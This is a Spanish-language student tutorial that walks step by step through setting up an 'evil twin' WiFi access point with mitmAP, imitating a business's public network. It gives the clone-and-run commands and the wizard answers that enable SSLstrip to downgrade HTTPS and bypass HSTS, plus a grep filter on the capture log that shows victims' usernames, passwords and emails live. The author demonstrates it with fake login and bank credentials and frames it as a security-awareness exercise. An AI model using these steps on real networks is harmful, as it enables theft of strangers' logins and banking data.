“WIFI gratis”

Vivimos acostumbrados a ver ese cartel por todas partes, son miles las empresas que ofrecen el servicio WIFI a sus clientes de manera gratuita, bares, restaurantes, aeropuertos, estaciones de tren, hoteles…

 

Estos puntos de acceso normalmente cuentan con firewalls, portales cautivos así como varias medidas de seguridad para evitar el robo de datos entre usuarios dentro de la red, lo que nos hace sentir más seguros. Pero, ¿Y si el usuario no conecta realmente a esa red, sino a una con el mismo nombre?

 

Me explico, imaginaros que la red que ofrece un negocio para sus clientes se llama “UNILABORAL”, nosotros podemos crear una exactamente con el mismo nombre, contraseña si la hubiera y canal, de manera que el usuario puede creer que ha conectado a la red legítima, pero sin embargo habría conectado a nuestro punto de acceso maligno.

 

Uno de los mayores peligros que tienen estos puntos de acceso es que tienen la posibilidad de actuar como DNS, resolviendo todas las peticiones a sitios HTTPS como si fueran HTTP y saltandose el protocolo HSTS, dejando nuestras contraseñas al descubierto.

 

Para la realización de este tutorial necesitaremos dos tarjetas de red, una obligatoriamente wifi y la otra es indiferente que sea wifi o cableada pero necesita disponer de conexión a internet.

Paso 1: Descargando mitmAP

Para descargar e instalar mitmAP es necesario tener instalado Python3 en el sistema. Normalmente Kali y Parrot lo traen instalado por defecto, pero si no lo tenemos es tan sencillo como ejecutar el siguiente comando en una terminal:

sudo apt-get install python3

Una vez que verificamos que tenemos python3 instalado en nuestro equipo, procedemos a descargar mitmAP, en una terminal ejecutamos los siguientes comandos:

git clone https://github.com/xdavidhu/mitmAP

cd mitmAP

sudo python3 mitmAP.py

El asistente de mitmAP arrancará preguntandonos en primer lugar si queremos instalar o actualizar las dependencias. Si es la primera vez que ejecutamos mitmAP, es necesario indicar que si (Y) para que se instale todo lo necesario para el correcto funcionamiento de la aplicación.

 

En mi caso, como no es la primera vez que lo ejecuto, indico no (N)

Paso 2: Creando nuestro Evil AP

Prosigue el asistente, pidiendonos el nombre de la interfaz que vamos a usar para crear el AP falso.

Mientras esa interfaz esté creando el AP falso no será posible utilizarla para navegar por internet

Si no conocemos el nombre que les da el sistema a nuestras interfaces, sólo tenemos que abrir otra terminal y escribir el comando “ifconfig”

Seguimos el asistente rellenando los siguientes datos que se nos solicitan:

 

[?] Please enter the name of your wireless interface (for the AP): Interfaz en la que vamos a crear el AP falso

[?] Please enter the name of your internet connected interface: Interfaz conectada a internet

[?] Use SSLSTRIP 2.0? Y/n: Indicamos Y para que las páginas HTTPS se redirijan a HTTP

[?] Capture unencrypted images with DRIFTNET? Y/n:  Esto abrirá una aplicación que captura las imágenes que están viendo nuestras víctimas en el navegador, elegimos si o no a nuestro gusto.

[?] Please enter the SSID for the AP: Nombre que tendrá nuestra red falsa

[?] Please enter the channel for the AP: Canal de la red, introducir un número entre el 1 y el 14. Si no queremos emitir en un canal en concreto es indiferente

[?] Enable WPA2 encryption? y/N: Indicamos si queremos poner contraseña a nuestra red falsa

[?] Set speed limit for the clients? Y/n: Aplicar restricciones de velocidad

[?] Start WIRESHARK on wlan0? Y/n: Indicamos Y si queremos que se abra Wireshark para análisis de tráfico en tiempo real.

[?] Spoof DNS manually? y/N: N

Paso 3: Auditando y filtrando el tráfico

Una vez indicados todos los valores anteriores, nuestra red falsa arrancará y nuestra víctima ya podrá conectarse a ella:

MitmAP empezará a mostrarnos todo el tráfico que circula por la red, sin embargo, muchos de los datos que nos dá no nos son útiles para nada y solo complican que encontremos lo que buscamos, contraseñas.

Para evitar esto, vamos a lanzar un filtro que nos muestre solo aquellos campos que contengan los valores “username”, “password”, “pass” o “email”

 

Abrimos otra terminal sin cerrar mitmAP y escribimos los siguientes comandos:

cd mitmAP/logs

tail -f mitmap-sslstrip.log | grep -i “username=\|password=\|pass=\|mail=”

De esta manera cada vez que se capture una contraseña se nos mostrará en directo.

Desde el equipo de la víctima accedemos y tratamos de iniciar sesión en sitios como Facebook y Forocoches (obviamente con credenciales no válidas)

Si nos fijamos, ambas son URLs que normalmente funcionan con HTTPS, sin embargo se nos están mostrando con el protocolo HTTP debido al funcionamiento del servidor DNS de la aplicación que redirige todo el tráfico HTTPS a HTTP. En el caso de forocoches, en la barra de URL del navegador se muestra webm.forocoches.com en lugar de mostrarse m.forocoches.com como es normal. Esto es debido a la redirección anteriormente citada.

 

Fijemonos en el resultado. Con nuestro terminal hemos tratado de iniciar sesión en ambos portales, y esto es lo que ha capturado PC atacante:

Pero esto puede ser aún más grave, en una segunda prueba he tratado de acceder a la web de mi banco, y en este caso las credenciales no aparecieron en el filtro porque no aparecían las palabras que estábamos filtrando, pero si revisamos con nano el archivo mitmap-sslstrip.log observamos lo siguiente:

 

comando: nano mitmap-sslstrip.log

El Evil AP ha logrado capturar mis datos bancarios (se han introducido datos falsos).

Cuando queramos finalizar la captura, simplemente cerramos mitmAP pulsando simultaneamente CTRL+C

 

Y ahora, ¿Vas a seguir conectandote a puntos Wifi públicos?

4. Corrigiendo el error “Este dispositivo no está gestionado”

Es posible que si mitmAP se cierra inesperedamente, cuando tratemos de conectar al wifi de manera normal, no nos aparezca ninguna red y en su defecto aparezca el error “este dispositivo no está gestionado”

Este error no desaparecerá ni aun que reiniciemos el equipo.

Para solucionarlo, haremos lo siguiente

 

Ejecutaremos en terminal el siguiente comando:

sudo nano /etc/NetworkManager/NetworkManager.conf

Debemos eliminar nuestra tarjeta de red del apartado “unmanaged-devices=interface-name:”, dejándolo así:

Pulsamos CTRL+X simultáneamente y después S e intro

Acto seguido ejecutamos los siguientes comandos:

service NetworkManager stop

service NetworkManager start

De esta manera habremos restaurado nuestra conexión de red, pudiendo dar por finalizado este tutorial.

Juan Navarro Utiel

2º STI - CURSO 2017/2018

 

Eres libre de copiar y distribuir este contenido, siempre y cuando sea para aprendizaje y sin ánimo de lucro.